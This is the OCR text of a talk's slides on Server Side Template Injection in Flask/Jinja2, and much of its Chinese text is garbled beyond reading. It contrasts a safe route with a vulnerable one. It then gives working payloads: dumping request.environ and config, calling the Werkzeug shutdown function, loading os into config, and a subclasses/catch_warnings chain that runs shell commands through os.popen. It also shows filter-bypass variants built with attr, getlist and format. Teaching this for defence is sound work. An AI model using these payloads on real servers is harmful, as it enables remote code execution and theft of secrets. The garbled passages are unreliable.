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erver Side Template Injection (SST!) / IRSFBIHIEIR;EN

AFPRISAER T ERRIRFFEN—E D, ERRGIZHITENET, TR
A. BT, MNMSEERMEE. getshellFER,

fHEEF XSS, BFEREAEZERSZ WS | ZRETIT AL, SINL"Server Side”,

SSTINFIEE ReEiEE, —EEE LEURTRIRGIZ2NERE,
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VULNERABLE DEMO

1 @app.route('/ssti1_safe')

2 def ssti1 safe():

exploit = request.args.get('exploit')

return render_template_string("<hl>Hello,{{ exploit }}</hl>", exploit=exploit)

O U1 & W

/ @app.route('/ssti _unsafe')

8 def ssti_unsafe():

9 exploit = request.args.get('exploit')

10 return render_template_string("<hl>Hello,{{ exploit }}</h1>".format(exploit))



Q localhost:5000/ssti_safe?exploit=% X +

“— G (i) localhost:5000/ssti_safe?exploit=<script>alert(1)</script> e cee V7 I\ CGD = | =

Hello,<script>alert(1)</script>




.02

VULNERABLE DEMO

L N N localhost:5000/ssti_unsafe?e X +

< X @ (i) localhost

Hello,

E7E1&43K 3 localhost FIBUE...



Q localhost:5000/ssti_safe?exploit={| X +

“— G (i) localhost:5000/ssti_safe?exploit={{8*8}}

Hello,{{8"8}}




localhost:5000/ssti_unsafe?exploit- X +

“— G (i) localhost:5000/ssti_unsafe?exploit={{8*8}}

Hello,64
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LOOK INTO SOURCE CODE

def render_template_string(source, **context):
ctx = _app_ctx_stack.top
ctx.app.update_template_context(context)
return _render(ctx.app.jinja_env.from_string(source),
context, ctx.app)

O O &5 W IN -

flaskA{EArender_template_stirng RZIXIIEIRF T B H#HITIER
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LOOK INTO SOURCE CODE

00
1 def _render(template, context, app):
2 """Renders the template and fires the signal"""
3
4 before_render_template.send(app, template=template, context=context)
5 rv = template.render(context)
6 template_rendered.send(app, template=template, context=context)
/ return rv

render_template_string i ARI_renderFiER, @A T jinjafRfrenderhiE, FEANTSRINARNLETX




Jinja Globals
Flask Template Globals
User Detined Variables

= (Other Operators

= [f Expression
List of Builtin Filters
List of Builtin Tests
List of Global Functions
Extensions

= 118n

= Expression Statement




Jinja Globals
Flask Template Globals
User Detined Variables

Standard Context

The following global variables are available within Jinja2 templates by default:

config
The current configuration object (flask.config)

» Changelog

request
The current request object (flask. request). This variable is unavailable if
the template was rendered without an active request context.

session

The current session object (flask.session). This variable is unavailable if
the template was rendered without an active request context.

g
The request-bound object for global variables (flask.g). This variable is
unavailable if the template was rendered without an active request context.

url_ for()
The flask.url for() function.

get_flashed _messages()
The flask.get_flashed messages() function.



& G () localhost:5000/ssti_unsafe?exploit={{ request.environ}} o LTI ¢ IN D = | =

Hello,{'wsgi.version': (1, 0), 'wsgi.url_scheme': 'http’, 'wsgi.input’': <_io.BufferedReader
name=5>, 'wsgi.errors': < _[0.TextiOWrapper name='<stderr>' mode='w' encoding="UTF-8">,
'wsgi.multithread': True, 'wsgi.multiprocess': False, 'wsgi.run_once': False,
'werkzeug.server.shutdown': <function WSGIRequestHandler.make_environ.
<locals>.shutdown_server at 0x10d038ae8>, 'SERVER_SOFTWARE': 'Werkzeug/0.14.1',
'REQUEST_METHOD': 'GET', 'SCRIPT_NAME': ", 'PATH_INFO': '/ssti_unsafe',
'QUERY_STRING': 'exploit={{%20request.environ}}', 'REMOTE_ADDR': '127.0.0.1",

'REMOTE_PORT'": 61103, 'SERVER_NAME': '127.0.0.1', 'SERVER_PORT": '5000',
'SERVER_PROTOCOL': 'HTTP/A.1', 'HTTP_HOST": 'localhost:5000', 'HTTP_USER_AGENT":
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
'HTTP_ACCEPT': 'text/html,application/xhtmi+xml,application/xml;q=0.9,*/*;q=0.8",
'HTTP_ACCEPT_LANGUAGE': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;
g=0.2', ' HTTP_ACCEPT_ENCODING': 'gzip, deflate', ' HTTP_CONNECTION': 'keep-alive',
'HTTP_UPGRADE_INSECURE_REQUESTS': '1', 'werkzeug.request': <Request
'http://localhost:5000/ssti_unsafe?exploit={{ request.environ}}' [GET]>}




e ¢ ‘Q @ localhost:5000/ssti_unsafe?exploit={{ request.environ['werkzeug.server.shutdown'1()}}

Hello,None

http://localhost:5000/ssti_unsafe?exploit=



.05

request.environ

AR5 23K IF] 1



< C @ ® localhost:5000/ssti_unsafe?exploit={{ config.items() } I 0O & a =

Hello,dict_items([('ENV', 'deveIOpment'), ('DEBUG/, False), ('TESTING' False),
('PROPAGATE EXCEPTIONS', None), (PRESERVE_CONTEXT_ON_EXCEPTION', None),
((SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME’, datetime.timedelta(31)),
('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/"),
('SESSION_COOKIE_NAME', 'session’), (‘'SESSION_COOKIE_DOMAIN', None),
('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True),
('SESSION_COOKIE_SECURE', False), (‘'SESSION_COOKIE_SAMESITE', None),
('SESSION_REFRESH_EACH_REQUEST', True), (MAX_CONTENT_LENGTH', None),
('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),
(‘TRAP_BAD_REQUEST_ERRORS', None), (‘'TRAP_HTTP_EXCEPTIONS', False),
('EXPLAIN_TEMPLATE_LOADING', False), '(PREFERRED_URL_SCHEME', 'http'),
('JSON_AS_ASCII', True), (JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR/',
False), ('JSONIFY_MIMETYPE', 'application/json'), (TEMPLATES_AUTO_RELOAD', None),
('MAX_COOKIE_SIZE', 4093), (‘"MY_SECRET', 'my_secret')])

1hla)http://localhost:5000/ssti_unsafe?exploit={{%20config.items()%20}}152 T FRERELEE R



< C @ ® localhost:5000/ssti_unsafe?exploit={{ config.items() } I 0O & a =

Hello,dict_items([('ENV', 'deveIOpment'), ('DEBUG/, False), ('TESTING' False),
('PROPAGATE EXCEPTIONS', None), (PRESERVE_CONTEXT_ON_EXCEPTION', None),
((SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME’, datetime.timedelta(31)),
('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/"),
('SESSION_COOKIE_NAME', 'session’), (‘'SESSION_COOKIE_DOMAIN', None),
('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True),
('SESSION_COOKIE_SECURE', False), (‘'SESSION_COOKIE_SAMESITE', None),
('SESSION_REFRESH_EACH_REQUEST', True), (MAX_CONTENT_LENGTH', None),
('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),
(‘TRAP_BAD_REQUEST_ERRORS', None), (‘'TRAP_HTTP_EXCEPTIONS', False),
('EXPLAIN_TEMPLATE_LOADING', False), '(PREFERRED_URL_SCHEME', 'http'),
('JSON_AS_ASCII', True), (JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR/',
False), ('JSONIFY_MIMETYPE', 'application/json'), (TEMPLATES_AUTO_RELOAD', None),
('MAX_COOKIE_SIZE', 4093), (‘"MY_SECRET', 'my_secret')])

1hla)http://localhost:5000/ssti_unsafe?exploit={{%20config.items()%20}}152 T FRERELEE R
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config.from_object

00
1 def from_object(self, obj):
2 i itsinstance(obj, string_types):
3 obj = tmport_string(obj)
4 for key tn dir(obj):
5 i1 Key.isupper():
6 self[key] = getattr(obj, key)
config.from_objectE—TERIRYKZFRF ARENR G RIEM A




>>>
>>>

>>> import os
>>> for key in dir(os):
if key.isupper():
print key,':',getattr(os,key)

EX CONFIG : 78
EX DATAERR : 65
EX IOERR : 74
EX_NOHOST : 68
EX_ NOINPUT : 66
EX NOPERM : 77
EX_NOUSER : 67
EX OK : ©

EX OSERR : 71
EX OSFILE : 72
EX_PROTOCOL : 76




Q localhost: 5000/ssti_unsafe?exploit- X e
&« G ® @ localhost:5000/ssti_unsafe?exploit={{ config.items() }} g 70% LU ¢

Hello,dict_items([('"ENV', 'development’), ('DEBUG', False), ('TESTING', False), ((PROPAGATE_EXCEPTIONS', None),
('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', None), (PERMANENT_SESSION_LIFETIME',
datetime.timedelta(31)), ((USE_X_SENDFILE', False), ((SERVER_NAME', None), ('APPLICATION_ROOT', /),
('SESSION_COOKIE_NAME!', 'session’), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None),
('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None),
('SESSION_REFRESH_EACH_REQUEST', True), (MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT',
datetime.timedelta(0, 43200)), (TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False),
('EXPLAIN_TEMPLATE_LOADING', False), (‘(PREFERRED_URL_SCHEME', 'http'), ("[JSON_AS_ASCII', True), ('JSON_SORT_KEYS',
True), ('"JSONIFY_PRETTYPRINT_REGULAR!, False), ('"JSONIFY_MIMETYPE', 'application/json'), (TEMPLATES_AUTO_RELOAD',
None), ('MAX_COOKIE_SIZE', 4093), (MY_SECRET', 'my_secret'), (CLD_CONTINUED', 6), (CLD_DUMPED/, 3), (CLD_EXITED', 1),
('CLD_TRAPPED/', 4), 'EX_CANTCREAT', 73), ('"EX_CONFIG', 78), ('EX_DATAERR/, 65), ('EX_IOERR', 74), ('EX_NOHOST’', 68),
('EX_NOINPUT', 66), ('"EX_NOPERM', 77), ('EX_NOUSER/, 67), ('EX_OK', 0), ('EX_OSERR/, 71), ('EX_OSFILE', 72), (EX_PROTOCOL', 76),
('EX_SOFTWARE', 70), ('EX_TEMPFAIL', 75), ('EX_UNAVAILABLE', 69), ('"EX_USAGE', 64), ('F_LOCK', 1), (‘'F_OK', 0), ('F_TEST', 3),
('F_TLOCK! 2), ('F_ULOCK', 0), (NGROUPS_MAX', 16), ("O_ACCMODE/', 3), ("O_APPEND/, 8), ('O_ASYNC', 64), ('O_CREAT', 512),
('O_DIRECTORY', 1048576), ('O_DSYNC', 4194304), ('O_EXCL', 2048), ('O_EXLOCK', 32), ("O_NDELAY', 4), ('O_NOCTTY', 131072),
('O_NOFOLLOW', 256), ('"O_NONBLOCK/, 4), ("O_RDONLY", 0), ('O_RDWR', 2), ("O_SHLOCK, 16), ("O_SYNC', 128), ('O_TRUNC', 1024),
('O_WRONLY', 1), ('PRIO_PGRP', 1), ('PRIO_PROCESS', 0), ('PRIO_USER/, 2), ('P_ALL"', 0), ('P_NOWAIT', 1), ('P_NOWAITO', 1), ('P_PGID’',
2), ('P_PID', 1), ('P_WAIT', 0), ('RTLD_GLOBAL', 8), 'RTLD_LAZY', 1), (RTLD_LOCAL', 4), (‘'RTLD_NODELETE', 128), (RTLD_NOLOAD',
16), ('RTLD_NOW', 2), ('R_OK, 4), ('SCHED_FIFO', 4), ('SCHED_OTHER/', 1), ('SCHED_RR', 2), ('SEEK_CUR', 1), ('SEEK_END', 2),
('SEEK_SET', 0), ('ST_NOSUID', 2), ('ST_RDONLY', 1), (TMP_MAX', 308915776), (WCONTINUED', 16), (WCOREDUMP', <built-in function
WCOREDUMP>), ("WEXITED', 4), (WEXITSTATUS', <built-in function WEXITSTATUS>), (‘"WIFCONTINUED', <built-in function
WIFCONTINUED>), (‘WIFEXITED', <built-in function WIFEXITED>), ("WIFSIGNALED', <built-in function WIFSIGNALED>),
(‘'WIFSTOPPED', <built-in function WIFSTOPPED>), "WNOHANG', 1), "WNOWAIT', 32), (WSTOPPED', 8), "WSTOPSIG', <built-in
function WSTOPSIG>), ("WTERMSIG', <built-in function WTERMSIG>), (WUNTRACED', 2), (‘'W_OK', 2), ('X_O0OK', 1)])

1T 1 http://localhost:5000/ssti_unsafe?exploit={{ config.from_object('os') B E&cconfig.items()
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PN LY

» Jinja2iRtR I A APython FRIAREZ=HFH B AARAN N E=RE TRIAZE, HRIEERI AT
Pythonigti% /D FERY B B K H 1T T,

» Bll: 7E£[].__class_ ._ base__._ subclasses_ ()FAF i o]FIARIANEKRZN.

» PAYLOAD:

0o
1 {% for c in[]. class . base . subclasses () %}
2 {% (f c.__name__=='catch_warnings' %}
3 {{ c.__init__.__globals__['_ _builtins__'].eval("__import__('os').popen('ls /etc').read()") }}
4 {% endif %}

5 {% endfor %}



] localhost:5000/ssti_unsafe?exploit- X -+

“— G o @ localhost:5000/ssti_unsafe?exploit={%%20for%20c%20in%20[]._class__.__base__. subclasses_( ¥ 90% TP ¢ INn D 1 -

Hello,## # Host Database # # localhost is used to configure the loopback interface # when the system
Is booting. Do not change this entry. ## 127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost
# 17.151.36.30 gs.apple.com 127.0.0.1 windows10.microdone.cn 0.0.0.0 account.jetbrains.com

, FlFpopenAik, 1EENT hostsNXIFRIANE




"y
<
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e FRlee’

» Bl T, SEFEFER_class__ . __mro__ 3,
» 4l {EFattrilljoin

{{ []] attr([ request.args.usc*2, request.args.class, request.args.usc*2 | |
) H&class=class&usc=_

%

{[]]attr(__class__) }}

%

{1]. class }}
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A PFES]]

» BhfEl: TR ES, SEFAEERERMEMIEER]ist
» 4R1d: {ERgetlist

{{ []] attr(request.args. request.args.l) | join) }}
&l=a&a= &a= &a=class&a= &a=

2

H1]. class_ }}
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iR Sjoin

» BRiEl: TR T join, BURMZEE 7 TUKAK
» 4814 . {EFformat

{{[]1|attr(request.args.t |

request.args.a,request.args.a,request.args.a,request.args.a)) }}
&t=%s%sclass%osYs&a=_

7

H1]. class_ }}
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LIST OF BUILTIN FILTERS

» replace()
» reverse()
» sum()

» truncate()
» upper()

» lower()

b ...
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Sandbox

The Jinja2 sandbox can be used to evaluate untrusted code. Access to unsafe attributes
and methods is prohibited.

Assuming env 1s a SandboxedEnvironment in the default configuration the following

piece of code shows how it works:

>>> env.from_string("{{ func.func_code }}").render(func=lambda:None)
LIlI
>>> env.from_string("{{ func.func_code.do_something r}").render(func=lambda:l

Traceback (most recent call last):

SecurityError: access to attribute 'func_code' of 'function' object is unsafe




Sandbox

The Jinja2 sandbox can be used to evaluate untrusted code. Access to unsafe attributes
and methods is prohibited.

Assuming env 1s a SandboxedEnvironment in the default configuration the following

piece of code shows how it works:

>>> env.from_string("{{ func.func_code }}").render(func=lambda:None)
LIlI
>>> env.from_string("{{ func.func_code.do_something r}").render(func=lambda:l

Traceback (most recent call last):

SecurityError: access to attribute 'func_code' of 'function' object is unsafe
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